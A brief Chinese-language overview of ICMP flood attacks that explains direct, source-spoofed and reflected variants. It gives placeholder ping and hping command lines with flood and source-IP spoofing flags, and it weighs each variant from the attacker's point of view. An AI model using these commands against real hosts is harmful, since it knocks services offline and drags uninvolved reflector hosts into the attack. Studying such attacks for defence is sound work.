Author: Xu FC
概述
ICMP FLOOD 属于流量型攻击，利用大流量占用服务器的带宽给服务器带来较大的负载，从而影响服务器对正常业务流量的处理。
直接发送 ICMP FLOOD
攻击者使用僵尸主机直接向受害者主机发送 ICMP FLOOD；
- 占用受害者服务器资源也同时占用攻击者的资源；
- 暴露了攻击者的 IP；
ping <victim_ip> –s <size> –f
<victim_ip>: 受害者 IP;
-s <size>: payload bytes;
-f: flood
伪造 IP 发送 ICMP FLOOD
攻击者使用僵尸主机伪造源 IP 向受害者发送 ICMP FLOOD;
- 不会暴露攻击者 IP；
- 需要控制大量的僵尸主机；
hping <victim_ip> -1 –flood –a <src_ip>
<victim_ip>: 受害者 IP；
-1: ICMP；
--flood: flood，不回显；
-a <src_ip>: 指定源 IP，通过该参数可以伪造源 IP；
反射 ICMP FLOOD
攻击者将源 IP 设置成受害者主机，然后向网络中的正常主机发送 ICMP 报文，网络中的主机将向受害者主机回应答报文；
- 不会暴露攻击者 IP；
- 不需要控制大量僵尸主机；
hping <host_in_network> -1 –flood –a <victim_IP>
